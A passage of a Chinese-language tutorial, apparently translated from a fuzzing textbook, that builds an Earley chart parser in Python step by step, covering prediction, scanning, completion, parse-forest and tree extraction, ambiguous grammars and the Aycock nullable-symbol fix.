+<A> : a <B> c ●
+<start> : <A> ● <B>
+<B> : ● b <C>
+<B> : ● <D>
+<D> : ● d
+```
+
+最后，在读取`d`之后，第4列将包含以下内容，其中`<start>`规则末尾的`●`表示解析成功。
+
+```py
+<D> : d ●
+<B> : <D> ●
+<start> : <A> <B> ●
+```
+
+从上面可以看到，我们实际上是根据阅读的每个字母以及可以应用的语法规则填充条目的表（表也称为**图表**）。 该图表为解析器起了另一个名字-图表解析。
+
+### 列
+
+我们首先定义`Column`。 `Column`由其自身的`index`在输入字符串中初始化，而`letter`在该索引处初始化。 在内部，我们还跟踪随着解析的进行而添加到列中的状态。
+
+```py
+class Column(object):
+    def __init__(self, index, letter):
+        self.index, self.letter = index, letter
+        self.states, self._unique = [], {}
+
+    def __str__(self):
+        return "%s chart[%d]\n%s" % (self.letter, self.index, "\n".join(
+            str(state) for state in self.states if state.finished()))
+
+```
+
+`Column`仅存储唯一的`states`。 因此，当新的`state`是我们的`Column`的`added`时，我们将检查它是否已知。
+
+```py
+class Column(Column):
+    def add(self, state):
+        if state in self._unique:
+            return self._unique[state]
+        self._unique[state] = state
+        self.states.append(state)
+        state.e_col = self
+        return self._unique[state]
+
+```
+
+### 项目
+
+一个项目代表针对特定规则的正在进行的*解析。* 因此，该项目包含非终结符的名称，以及共同构成规则的相应替代表达式（`expr`），以及该表达式中当前的解析位置-`dot`。
+
+**注意。** 如果您熟悉 [LR解析](https://en.wikipedia.org/wiki/LR_parser)，您会注意到一个项目就是一个`LR0`项目。
+
+```py
+class Item(object):
+    def __init__(self, name, expr, dot):
+        self.name, self.expr, self.dot = name, expr, dot
+
+```
+
+我们还提供了一些方便的方法。 方法`finished()`检查`dot`是否已移出`expr`中的最后一个元素。 方法`advance()`产生具有`dot`高级一个令牌的新`Item`，并表示解析的高级。 方法`at_dot()`返回正在解析的当前符号。
+
+```py
+class Item(Item):
+    def finished(self):
+        return self.dot >= len(self.expr)
+
+    def advance(self):
+        return Item(self.name, self.expr, self.dot + 1)
+
+    def at_dot(self):
+        return self.expr[self.dot] if self.dot < len(self.expr) else None
+
+```
+
+这是可以使用的项目。 我们首先定义我们的项目
+
+```py
+item_name = '<B>'
+item_expr = C_SAMPLE_GRAMMAR[item_name][1]
+an_item = Item(item_name, tuple(item_expr), 0)
+
+```
+
+要确定解析状态，我们使用`at_dot()`
+
+```py
+an_item.at_dot()
+
+```
+
+```py
+'<D>'
+
+```
+
+也就是说，下一个要解析的符号是`<D>`
+
+如果我们推进该项目，则会得到另一个代表完成的解析规则`<B>`的项目。
+
+```py
+another_item = an_item.advance()
+
+```
+
+```py
+another_item.finished()
+
+```
+
+```py
+True
+
+```
+
+### 状态
+
+对于`Earley`解析，解析的状态只是一个`Item`以及一些元信息，例如每种状态的开始`s_col`和结束列`e_col`。 因此，我们从`Item`继承来创建`State`。 由于我们有兴趣比较状态，因此我们用相应的方法定义了`hash()`和`eq()`。
+
+```py
+class State(Item):
+    def __init__(self, name, expr, dot, s_col, e_col=None):
+        super().__init__(name, expr, dot)
+        self.s_col, self.e_col = s_col, e_col
+
+    def __str__(self):
+        def idx(var):
+            return var.index if var else -1
+
+        return self.name + ':= ' + ' '.join([
+            str(p)
+            for p in [*self.expr[:self.dot], '|', *self.expr[self.dot:]]
+        ]) + "(%d,%d)" % (idx(self.s_col), idx(self.e_col))
+
+    def copy(self):
+        return State(self.name, self.expr, self.dot, self.s_col, self.e_col)
+
+    def _t(self):
+        return (self.name, self.expr, self.dot, self.s_col.index)
+
+    def __hash__(self):
+        return hash(self._t())
+
+    def __eq__(self, other):
+        return self._t() == other._t()
+
+    def advance(self):
+        return State(self.name, self.expr, self.dot + 1, self.s_col)
+
+```
+
+`State`的用法类似于`Item`的用法。 唯一的区别是，它与`Column`一起用于跟踪解析状态。 例如，我们将第一列初始化如下：
+
+```py
+col_0 = Column(0, None)
+item_expr = tuple(*C_SAMPLE_GRAMMAR[START_SYMBOL])
+start_state = State(START_SYMBOL, item_expr, 0, col_0)
+col_0.add(start_state)
+start_state.at_dot()
+
+```
+
+```py
+'<A>'
+
+```
+
+然后使用`Column`的`add()`方法更新第一列
+
+```py
+sym = start_state.at_dot()
+for alt in C_SAMPLE_GRAMMAR[sym]:
+    col_0.add(State(sym, tuple(alt), 0, col_0))
+for s in col_0.states:
+    print(s)
+
+```
+
+```py
+<start>:= | <A> <B>(0,0)
+<A>:= | a <B> c(0,0)
+<A>:= | a <A>(0,0)
+
+```
+
+### 解析算法
+
+*Earley* 算法通过用列初始化图表（与输入中的字母一样多）开始。 我们还以表示与起始符号相对应的表达式的状态作为第一列的种子。 在我们的情况下，状态与起始符号相对应，其中`0`处的`dot`表示如下。 `●`符号代表解析状态。 在这种情况下，我们没有解析任何内容。
+
+```py
+<start>: ● <A> <B>
+```
+
+我们将此局部图表传递给填充其余解析图表的方法。
+
+```py
+class EarleyParser(Parser):
+    def __init__(self, grammar, **kwargs):
+        super().__init__(grammar, **kwargs)
+        self.cgrammar = canonical(grammar, letters=True)
+
+```
+
+在开始解析之前，我们在图表上植入表示开始符号正在进行解析的状态。
+
+```py
+class EarleyParser(EarleyParser):
+    def chart_parse(self, words, start):
+        alt = tuple(*self.cgrammar[start])
+        chart = [Column(i, tok) for i, tok in enumerate([None, *words])]
+        chart[0].add(State(start, alt, 0, chart[0]))
+        return self.fill_chart(chart)
+
+```
+
+`fill_chart()`中的主要解析循环具有三个基本操作。 `predict()`，`scan()`和`complete()`。 接下来我们讨论`predict`。
+
+### 预测状态
+
+我们已经将状态为`[<A>,<B>]`的`chart[0]`和状态为`dot`的种子`0`植入了种子。 接下来，假设`<A>`是一个非终结符，我们`predict`可能会解析此状态。 也就是说，它可以是`a <B> c`或`A <A>`。
+
+`predict()`的一般思想如下：假设您具有上述语法中名称为`<A>`的状态，并且表达式包含`[a,<B>,c]`。 假设您已经看到`a`，这意味着`dot`将在`<B>`上。 下面是我们解析状态的表示。 ●的左侧代表已经解析的部分（`a`），右侧代表尚未解析的部分（`<B> c`）。
+
+```py
+<A>: a  ●  <B> c
+```
+
+为了识别`<B>`，我们看一下`<B>`的定义，它具有不同的替代表达。 `predict()`步骤将这些替代方案的每一个添加到状态集，其中`dot`为`0`。
+
+```py
+<A>: a ● <B> c
+<B>: ● b c
+<B>: ● <D>
+```
+
+实质上，`predict()`方法在与当前非终结符一起调用时，会提取与该非终结符相对应的替代表达式，并将这些作为预测的*子*状态添加到*当前*列中。
+
+```py
+class EarleyParser(EarleyParser):
+    def predict(self, col, sym, state):
+        for alt in self.cgrammar[sym]:
+            col.add(State(sym, tuple(alt), 0, col))
+
+```
+
+要查看如何使用`predict`，我们首先像以前一样构造第0列，然后将构造的列分配给EarleyParser的实例。
+
+```py
+col_0 = Column(0, None)
+col_0.add(start_state)
+ep = EarleyParser(SAMPLE_GRAMMAR)
+ep.chart = [col_0]
+
+```
+
+它应包含一个状态-`<start> at 0`
+
+```py
+for s in ep.chart[0].states:
+    print(s)
+
+```
+
+```py
+<start>:= | <A> <B>(0,0)
+
+```
+
+我们应用预测填充第0列，该列应包含可能的解析路径。
+
+```py
+ep.predict(col_0, '<A>', s)
+for s in ep.chart[0].states:
+    print(s)
+
+```
+
+```py
+<start>:= | <A> <B>(0,0)
+<A>:= | a <B> c(0,0)
+<A>:= | a <A>(0,0)
+
+```
+
+### 扫描令牌
+
+如果状态不是终结符，而是包含终结符（例如字母），该怎么办？ 在这种情况下，我们准备取得一些进展。 例如，考虑第二种状态：
+
+```py
+<B>: ● b c
+```
+
+我们`scan`下一栏的字母。 假设下一个标记是`b`。 如果字母与我们所拥有的匹配，则通过将当前状态前进一个字母来创建一个新状态。
+
+```py
+<B>: b ● c
+```
+
+此新状态将添加到下一列（即具有匹配字母的列）。
+
+```py
+class EarleyParser(EarleyParser):
+    def scan(self, col, state, letter):
+        if letter == col.letter:
+            col.add(state.advance())
+
+```
+
+和以前一样，我们首先构造部分解析，这次添加一个新列，以便我们可以观察到`scan()`的效果
+
+```py
+ep = EarleyParser(SAMPLE_GRAMMAR)
+col_1 = Column(1, 'a')
+ep.chart = [col_0, col_1]
+
+```
+
+```py
+new_state = ep.chart[0].states[1]
+print(new_state)
+
+```
+
+```py
+<A>:= | a <B> c(0,0)
+
+```
+
+```py
+ep.scan(col_1, new_state, 'a')
+for s in ep.chart[1].states:
+    print(s)
+
+```
+
+```py
+<A>:= a | <B> c(0,1)
+
+```
+
+### 完成处理
+
+前进时，如果我们实际`complete()`处理当前规则该怎么办？ 如果是这样，我们不仅要更新此状态，还要更新从中导出此状态的所有*父级*状态。 例如，假设我们具有以下状态。
+
+```py
+<A>: a ● <B> c
+<B>: b c ●
+```
+
+状态`<B>: b c ●`现已完成。 因此，我们需要向前推进`<A>: a ● <B> c`。
+
+我们如何确定父状态？ 从`predict`注意，我们将预测的子状态添加到*与检查状态相同的*列中。 因此，我们看一下当前状态的开始列，其符号`at_dot`与完成状态的名称相同。
+
+对于找到的每个这样的父对象，我们使该父对象前进（因为我们刚刚完成了对非终端的`at_dot`解析），并将新状态添加到当前列。
+
+```py
+class EarleyParser(EarleyParser):
+    def complete(self, col, state):
+        return self.earley_complete(col, state)
+
+    def earley_complete(self, col, state):
+        parent_states = [
+            st for st in state.s_col.states if st.at_dot() == state.name
+        ]
+        for st in parent_states:
+            col.add(st.advance())
+
+```
+
+这是完成处理的示例。 首先，我们完成第0列
+
+```py
+ep = EarleyParser(SAMPLE_GRAMMAR)
+col_1 = Column(1, 'a')
+col_2 = Column(2, 'd')
+ep.chart = [col_0, col_1, col_2]
+ep.predict(col_0, '<A>', s)
+for s in ep.chart[0].states:
+    print(s)
+
+```
+
+```py
+<start>:= | <A> <B>(0,0)
+<A>:= | a <B> c(0,0)
+<A>:= | a <A>(0,0)
+
+```
+
+然后我们使用`scan()`填充第1列
+
+```py
+for state in ep.chart[0].states:
+    if state.at_dot() not in SAMPLE_GRAMMAR:
+        ep.scan(col_1, state, 'a')
+for s in ep.chart[1].states:
+    print(s)
+
+```
+
+```py
+<A>:= a | <B> c(0,1)
+<A>:= a | <A>(0,1)
+
+```
+
+```py
+for state in ep.chart[1].states:
+    if state.at_dot() in SAMPLE_GRAMMAR:
+        ep.predict(col_1, state.at_dot(), state)
+for s in ep.chart[1].states:
+    print(s)
+
+```
+
+```py
+<A>:= a | <B> c(0,1)
+<A>:= a | <A>(0,1)
+<B>:= | b <C>(1,1)
+<B>:= | <D>(1,1)
+<A>:= | a <B> c(1,1)
+<A>:= | a <A>(1,1)
+<D>:= | d(1,1)
+
+```
+
+然后我们再次使用`scan()`填充第2列
+
+```py
+for state in ep.chart[1].states:
+    if state.at_dot() not in SAMPLE_GRAMMAR:
+        ep.scan(col_2, state, state.at_dot())
+
+for s in ep.chart[2].states:
+    print(s)
+
+```
+
+```py
+<D>:= d |(1,2)
+
+```
+
+现在，我们可以使用`complete()`：
+
+```py
+for state in ep.chart[2].states:
+    if state.finished():
+        ep.complete(col_2, state)
+
+for s in ep.chart[2].states:
+    print(s)
+
+```
+
+```py
+<D>:= d |(1,2)
+<B>:= <D> |(1,2)
+<A>:= a <B> | c(0,2)
+
+```
+
+### 填写图表
+
+`fill_chart()`中的主驱动回路本质上按顺序调用这些操作。 我们按顺序遍历每一列。
+
+*   对于每一列，一次获取该列中的一个状态，并检查该状态是否为`finished`。
+    *   如果是，那么我们根据该状态`complete()`所有父状态。
+*   如果状态尚未完成，我们将检查该状态的当前符号`at_dot`是否为非终结符。
+    *   如果它是非终结符，则我们`predict()`可能的延续，并使用这些状态更新当前列。
+    *   如果不是，我们`scan()`下一列，如果当前状态与下一个字母匹配，则前进当前状态。
+
+```py
+class EarleyParser(EarleyParser):
+    def fill_chart(self, chart):
+        for i, col in enumerate(chart):
+            for state in col.states:
+                if state.finished():
+                    self.complete(col, state)
+                else:
+                    sym = state.at_dot()
+                    if sym in self.cgrammar:
+                        self.predict(col, sym, state)
+                    else:
+                        if i + 1 >= len(chart):
+                            continue
+                        self.scan(chart[i + 1], state, sym)
+            if self.log:
+                print(col, '\n')
+        return chart
+
+```
+
+现在，我们可以将给定的字符串识别为属于语法表示的语言。
+
+```py
+ep = EarleyParser(SAMPLE_GRAMMAR, log=True)
+columns = ep.chart_parse('adcd', START_SYMBOL)
+
+```
+
+```py
+None chart[0]
+
+a chart[1]
+
+d chart[2]
+<D>:= d |(1,2)
+<B>:= <D> |(1,2) 
+
+c chart[3]
+<A>:= a <B> c |(0,3) 
+
+d chart[4]
+<D>:= d |(3,4)
+<B>:= <D> |(3,4)
+<start>:= <A> <B> |(0,4) 
+
+```
+
+我们上面打印的图表仅显示每个索引处的完成条目。 括号表达式表示刚识别出第一个字符之前的列和结尾列。
+
+注意`<start>`非终端如何显示完全解析的状态。
+
+```py
+last_col = columns[-1]
+for s in last_col.states:
+    if s.name == '<start>':
+        print(s)
+
+```
+
+```py
+<start>:= <A> <B> |(0,4)
+
+```
+
+由于`chart_parse()`返回完成的表，因此我们现在需要提取派生树。
+
+### 解析方法
+
+为了确定我们可以解析的距离，我们只需从`chart_parse()`中找到`start_symbol`的位置查找最后一个索引。
+
+```py
+class EarleyParser(EarleyParser):
+    def parse_prefix(self, text):
+        self.table = self.chart_parse(text, self.start_symbol())
+        for col in reversed(self.table):
+            states = [
+                st for st in col.states if st.name == self.start_symbol()
+            ]
+            if states:
+                return col.index, states
+        return -1, []
+
+```
+
+这是正在运行的`parse_prefix()`。
+
+```py
+ep = EarleyParser(SAMPLE_GRAMMAR)
+cursor, last_states = ep.parse_prefix('adcd')
+print(cursor, [str(s) for s in last_states])
+
+```
+
+```py
+4 ['<start>:= <A> <B> |(0,4)']
+
+```
+
+以下内容摘自 [Loup Vaillant](http://loup-vaillant.fr/tutorials/earley-parsing/) 关于Earley解析的出色参考。
+
+我们的`parse()`方法如下。 它取决于接下来将定义的两种方法`parse_forest()`和`extract_trees()`。
+
+```py
+class EarleyParser(EarleyParser):
+    def parse(self, text):
+        cursor, states = self.parse_prefix(text)
+        start = next((s for s in states if s.finished()), None)
+
+        if cursor < len(text) or not start:
+            raise SyntaxError("at " + repr(text[cursor:]))
+
+        forest = self.parse_forest(self.table, start)
+        for tree in self.extract_trees(forest):
+            yield self.prune_tree(tree)
+
+```
+
+### 解析路径
+
+`parse_paths()`方法尝试将`named_expr`中的给定表达式与已解析的字符串统一。 为此，它将提取`named_expr`中的最后一个符号，并检查它是否为终端符号。 如果是，则检查`til`处的图表以查看与该位置相对应的字母是否与端子符号匹配。 如果是这样，请将我们的起始索引扩展符号的长度。
+
+如果该符号是非终止符号，则我们在与非终止符号相对应的当前结束列索引（`til`）处检索已解析的状态，并收集起始索引。 这些是其余表达式的结尾列索引。
+
+给定我们的起始索引列表，我们从其余表达式中获取解析路径。 如果可以获取任何内容，则返回解析路径。 如果没有，我们将返回一个空列表。
+
+```py
+class EarleyParser(EarleyParser):
+    def parse_paths(self, named_expr, chart, frm, til):
+        def paths(state, start, k, e):
+            if not e:
+                return [[(state, k)]] if start == frm else []
+            else:
+                return [[(state, k)] + r
+                        for r in self.parse_paths(e, chart, frm, start)]
+
+        *expr, var = named_expr
+        starts = None
+        if var not in self.cgrammar:
+            starts = ([(var, til - len(var),
+                        't')] if til > 0 and chart[til].letter == var else [])
+        else:
+            starts = [(s, s.s_col.index, 'n') for s in chart[til].states
+                      if s.finished() and s.name == var]
+
+        return [p for s, start, k in starts for p in paths(s, start, k, expr)]
+
+```
+
+这是正在运行的`parse_paths()`
+
+```py
+print(SAMPLE_GRAMMAR['<start>'])
+ep = EarleyParser(SAMPLE_GRAMMAR)
+completed_start = last_states[0]
+paths = ep.parse_paths(completed_start.expr, columns, 0, 4)
+for path in paths:
+    print([list(str(s_) for s_ in s) for s in path])
+
+```
+
+```py
+['<A><B>']
+[['<B>:= <D> |(3,4)', 'n'], ['<A>:= a <B> c |(0,3)', 'n']]
+
+```
+
+也就是说，给定输入`adcd`的`<start>`的解析路径包括识别表达式`<A><B>`。 这被两个状态识别：从输入（0）到输入（2）的`<A>`进一步涉及识别规则`a<B>c`，从输入（3）的下一个状态`<B>`涉及识别规则`<D>` ]。
+
+### 解析森林
+
+`parse_forest()`方法采用表示已完成解析的状态，并确定其表达式与解析后的表达式相对应的可能方式。 例如，假设我们正在解析`1+2+3`，并且状态在`expr`中具有`[<expr>,+,<expr>]`。 它可能已解析为`[{<expr>:1+2},+,{<expr>:3}]`或`[{<expr>:1},+,{<expr>:2+3}]`。
+
+```py
+class EarleyParser(EarleyParser):
+    def forest(self, s, kind, chart):
+        return self.parse_forest(chart, s) if kind == 'n' else (s, [])
+
+    def parse_forest(self, chart, state):
+        pathexprs = self.parse_paths(state.expr, chart, state.s_col.index,
+                                     state.e_col.index) if state.expr else []
+        return state.name, [[(v, k, chart) for v, k in reversed(pathexpr)]
+                            for pathexpr in pathexprs]
+
+```
+
+```py
+ep = EarleyParser(SAMPLE_GRAMMAR)
+result = ep.parse_forest(columns, last_states[0])
+result
+
+```
+
+```py
+('<start>',
+ [[(<__main__.State at 0x11a7a01d0>,
+    'n',
+    [<__main__.Column at 0x11a7c5dd8>,
+     <__main__.Column at 0x11a7c5be0>,
+     <__main__.Column at 0x11a7c5a20>,
+     <__main__.Column at 0x11a7c56a0>,
+     <__main__.Column at 0x11a7c5780>]),
+   (<__main__.State at 0x11a7a0c88>,
+    'n',
+    [<__main__.Column at 0x11a7c5dd8>,
+     <__main__.Column at 0x11a7c5be0>,
+     <__main__.Column at 0x11a7c5a20>,
+     <__main__.Column at 0x11a7c56a0>,
+     <__main__.Column at 0x11a7c5780>])]])
+
+```
+
+### 提取树
+
+我们从`parse_forest()`中得到的是一片森林。 我们需要从该森林中提取一棵树。 如下完成。
+
+（现在，我们返回第一个可用的派生树。为此，我们需要从与`start`对应的状态中提取解析森林。）
+
+```py
+class EarleyParser(EarleyParser):
+    def extract_a_tree(self, forest_node):
+        name, paths = forest_node
+        if not paths:
+            return (name, [])
+        return (name, [self.extract_a_tree(self.forest(*p)) for p in paths[0]])
+
+    def extract_trees(self, forest):
+        yield self.extract_a_tree(forest)
+
+```
+
+现在，我们验证解析器可以解析给定的表达式。
+
+```py
+A3_GRAMMAR = {
+    "<start>": ["<bexpr>"],
+    "<bexpr>": [
+        "<aexpr><gt><aexpr>", "<aexpr><lt><aexpr>", "<aexpr>=<aexpr>",
+        "<bexpr>=<bexpr>", "<bexpr>&<bexpr>", "<bexpr>|<bexpr>", "(<bexrp>)"
+    ],
+    "<aexpr>":
+    ["<aexpr>+<aexpr>", "<aexpr>-<aexpr>", "(<aexpr>)", "<integer>"],
+    "<integer>": ["<digit><integer>", "<digit>"],
+    "<digit>": ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"],
+    "<lt>": ['<'],
+    "<gt>": ['>']
+}
+
+```
+
+```py
+syntax_diagram(A3_GRAMMAR)
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 182.5 62" width="182.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="91.25" y="35">bexpr</text></g></g></g></g></svg>
+
+```py
+bexpr
+
+```
+
+ <svg class="railroad-diagram" height="80" viewBox="0 0 1837.5 80" width="1837.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g><g class="non-terminal"><text x="101.25" y="44">aexpr</text></g> <g class="non-terminal"><text x="171.0" y="44">gt</text></g> <g class="non-terminal"><text x="240.75" y="44">aexpr</text></g></g></g> <g><g><g class="non-terminal"><text x="363.25" y="44">aexpr</text></g> <g class="non-terminal"><text x="433.0" y="44">lt</text></g> <g class="non-terminal"><text x="502.75" y="44">aexpr</text></g></g></g> <g><g><g class="non-terminal"><text x="625.25" y="44">aexpr</text></g> <g class="terminal"><text x="690.75" y="44">=</text></g> <g class="non-terminal"><text x="756.25" y="44">aexpr</text></g></g></g> <g><g><g class="non-terminal"><text x="878.75" y="44">bexpr</text></g> <g class="terminal"><text x="944.25" y="44">=</text></g> <g class="non-terminal"><text x="1009.75" y="44">bexpr</text></g></g></g> <g><g><g class="non-terminal"><text x="1132.25" y="44">bexpr</text></g> <g class="terminal"><text x="1197.75" y="44">&</text></g> <g class="non-terminal"><text x="1263.25" y="44">bexpr</text></g></g></g> <g><g><g class="non-terminal"><text x="1385.75" y="44">bexpr</text></g> <g class="terminal"><text x="1451.25" y="44">|</text></g> <g class="non-terminal"><text x="1516.75" y="44">bexpr</text></g></g></g> <g><g><g class="terminal"><text x="1622.25" y="44">(</text></g> <g class="non-terminal"><text x="1687.75" y="44">bexrp</text></g> <g class="terminal"><text x="1753.25" y="44">)</text></g></g></g></g></g></svg>
+
+```py
+aexpr
+
+```
+
+ <svg class="railroad-diagram" height="152" viewBox="0 0 313.5 152" width="313.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="91.25" y="65">aexpr</text></g> <g class="terminal"><text x="156.75" y="65">-</text></g> <g class="non-terminal"><text x="222.25" y="65">aexpr</text></g></g> <g><g class="non-terminal"><text x="91.25" y="35">aexpr</text></g> <g class="terminal"><text x="156.75" y="35">+</text></g> <g class="non-terminal"><text x="222.25" y="35">aexpr</text></g></g> <g><g class="terminal"><text x="91.25" y="95">(</text></g> <g class="non-terminal"><text x="156.75" y="95">aexpr</text></g> <g class="terminal"><text x="222.25" y="95">)</text></g></g> <g><g class="non-terminal"><text x="156.75" y="125">integer</text></g></g></g></g></svg>
+
+```py
+integer
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 282.0 92" width="282.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="91.25" y="35">digit</text></g> <g class="non-terminal"><text x="182.25" y="35">integer</text></g></g> <g><g class="non-terminal"><text x="141.0" y="65">digit</text></g></g></g></g></svg>
+
+```py
+digit
+
+```
+
+ <svg class="railroad-diagram" height="109" viewBox="0 0 522.5 109" width="522.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g><g class="terminal"><text x="84.25" y="43">0</text></g></g> <g><g class="terminal"><text x="84.25" y="73">1</text></g></g></g> <g><g><g class="terminal"><text x="172.75" y="43">2</text></g></g> <g><g class="terminal"><text x="172.75" y="73">3</text></g></g></g> <g><g><g class="terminal"><text x="261.25" y="43">4</text></g></g> <g><g class="terminal"><text x="261.25" y="73">5</text></g></g></g> <g><g><g class="terminal"><text x="349.75" y="43">6</text></g></g> <g><g class="terminal"><text x="349.75" y="73">7</text></g></g></g> <g><g><g class="terminal"><text x="438.25" y="43">8</text></g></g> <g><g class="terminal"><text x="438.25" y="73">9</text></g></g></g></g></g></svg>
+
+```py
+lt
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 148.5 62" width="148.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="74.25" y="35"><</text></g></g></g></g></svg>
+
+```py
+gt
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 148.5 62" width="148.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="74.25" y="35">></text></g></g></g></g></svg>
+
+```py
+mystring = '(1+24)=33'
+parser = EarleyParser(A3_GRAMMAR)
+for tree in parser.parse(mystring):
+    assert tree_to_string(tree) == mystring
+    display_tree(tree)
+
+```
+
+现在，我们有了一个完整的解析器，可以解析几乎任意的 *CFG* 。 还有一个小小的角落需要解决-有关epsilon规则的情况，我们将在后面看到。
+
+### 歧义解析
+
+模糊语法是可以为给定字符串生成多个派生树的语法。 例如，`A3_GRAMMAR`可以以两种不同的方式解析`1+2+3`-`[1+2]+3`和`1+[2+3]`。
+
+对于明确的解析，提取单个树可能是合理的。 但是，如果给定字符串时给定语法产生歧义怎么办？ 在这种情况下，我们需要提取所有派生树。 我们增强了`extract_trees()`方法，以提取多个派生树。
+
+```py
+class EarleyParser(EarleyParser):
+    def extract_trees(self, forest_node):
+        name, paths = forest_node
+        if not paths:
+            yield (name, [])
+        results = []
+        for path in paths:
+            ptrees = [self.extract_trees(self.forest(*p)) for p in path]
+            for p in zip(*ptrees):
+                yield (name, p) 
+
+```
+
+和以前一样，我们验证一切正常。
+
+```py
+mystring = '1+2'
+parser = EarleyParser(A1_GRAMMAR)
+for tree in parser.parse(mystring):
+    assert mystring == tree_to_string(tree)
+    display_tree(tree)
+
+```
+
+也可以使用`GrammarFuzzer`验证一切正常。
+
+```py
+gf = GrammarFuzzer(A1_GRAMMAR)
+for i in range(5):
+    s = gf.fuzz()
+    print(i, s)
+    for tree in parser.parse(s):
+        assert tree_to_string(tree) == s
+
+```
+
+```py
+0 045+3+2-9+7-7-5-1-449
+1 0+9+5-2+1-8+4-3+7+2
+2 76413
+3 9339
+4 62
+
+```
+
+### Aycock Epsilon修复程序
+
+解析时，通常需要知道给定的非终结符是否可以派生空字符串。 例如，在下面的语法中，A可以派生一个空字符串，而B则不能。 可以派生空字符串的非终结符称为*可为空的*非终结符。 例如，在下面的语法`E_GRAMMAR_1`中，`<A>`是*可为空*，并且由于`<A>`是`<start>`的替代之一，因此`<start>`也是*可为空* 。 但是`<B>`不能为*为空*。
+
+```py
+E_GRAMMAR_1 = {
+    '<start>': ['<A>', '<B>'],
+    '<A>': ['a', ''],
+    '<B>': ['b']
+}
+
+```
+
+最初的Earley实现的问题之一是，它无法处理可以很好地导出空字符串的规则。 例如，给定的语法应匹配`a`
+
+```py
+EPSILON = ''
+E_GRAMMAR = {
+    '<start>': ['<S>'],
+    '<S>': ['<A><A><A><A>'],
+    '<A>': ['a', '<E>'],
+    '<E>': [EPSILON]
+}
+
+```
+
+```py
+syntax_diagram(E_GRAMMAR)
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 148.5 62" width="148.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="74.25" y="35">S</text></g></g></g></g></svg>
+
+```py
+S
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 294.0 62" width="294.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="74.25" y="35">A</text></g> <g class="non-terminal"><text x="122.75" y="35">A</text></g> <g class="non-terminal"><text x="171.25" y="35">A</text></g> <g class="non-terminal"><text x="219.75" y="35">A</text></g></g></g></g></svg>
+
+```py
+A
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 148.5 92" width="148.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="74.25" y="35">a</text></g></g> <g><g class="non-terminal"><text x="74.25" y="65">E</text></g></g></g></g></svg>
+
+```py
+E
+
+```
+
+```py
+mystring = 'a'
+parser = EarleyParser(E_GRAMMAR)
+with ExpectError():
+    trees = parser.parse(mystring)
+
+```
+
+Aycock等人[John Aycock *等人*，2002。]提出了一种简单的解决方法。 他们的想法是预先计算`nullable`集，并使用它来推进`nullable`状态。 但是，在执行此操作之前，我们需要计算`nullable`集。 `nullable`集由所有可以导出空字符串的非终结符组成。
+
+计算`nullable`集需要迭代地扩展语法中的每个生成规则，并检查给定规则是否可以导出空字符串。 每次迭代都需要考虑已发现为`nullable`的新终端。 当我们获得稳定的结果时，该过程停止。 该过程可以抽象为更通用的方法`fixpoint`。
+
+#### 固定点
+
+函数的`fixpoint`是函数域中的元素，因此将其映射到自身。 例如，1是平方根的`fixpoint`，因为`squareroot(1) == 1`。
+
+（我们使用`str`而不是`hash`来检查`fixpoint`中的相等性，因为我们想用作参数的数据结构`set`具有良好的字符串表示形式，但不能进行哈希处理）。
+
+```py
+def fixpoint(f):
+    def helper(arg):
+        while True:
+            sarg = str(arg)
+            arg_ = f(arg)
+            if str(arg_) == sarg:
+                return arg
+            arg = arg_
+
+    return helper
+
+```
+
+还记得第一章中的[中的`my_sqrt()`吗？ 我们可以使用定位点定义`my_sqrt()`。](Intro_Testing.html)
+
+```py
+def my_sqrt(x):
+    @fixpoint
+    def _my_sqrt(approx):
+        return (approx + x / approx) / 2
+
+    return _my_sqrt(1)
+
+```
+
+```py
+my_sqrt(2)
+
+```
+
+```py
+1.414213562373095
+
+```
+
+#### 可空
+
+同样，我们可以使用`fixpoint`定义`nullable`。 我们实质上提供了单个中间步骤的定义。 也就是说，假设`nullables`包含当前的`nullable`非终结符，我们遍历该语法以查找`nullable`的产生式-也就是说，整个序列可以在某个扩展上产生空字符串的产生式。
+
+我们需要遍历不同的替代表达式及其对应的非终结符。 因此，我们定义了`rules()`方法，将字典表示形式转换为该对格式。
+
+```py
+def rules(grammar):
+    return [(key, choice)
+            for key, choices in grammar.items()
+            for choice in choices]
+
+```
+
+`terminals()`方法从`canonical`语法表示中提取所有终端符号。
+
+```py
+def terminals(grammar):
+    return set(token
+               for key, choice in rules(grammar)
+               for token in choice if token not in grammar)
+
+```
+
+```py
+def nullable_expr(expr, nullables):
+    return all(token in nullables for token in expr)
+
+```
+
+```py
+def nullable(grammar):
+    productions = rules(grammar)
+
+    @fixpoint
+    def nullable_(nullables):
+        for A, expr in productions:
+            if nullable_expr(expr, nullables):
+                nullables |= {A}
+        return (nullables)
+
+    return nullable_({EPSILON})
+
+```
+
+```py
+for key, grammar in {
+        'E_GRAMMAR': E_GRAMMAR,
+        'E_GRAMMAR_1': E_GRAMMAR_1
+}.items():
+    print(key, nullable(canonical(grammar)))
+
+```
+
+```py
+E_GRAMMAR {'', '<S>', '<E>', '<start>', '<A>'}
+E_GRAMMAR_1 {'', '<start>', '<A>'}
+
+```
+
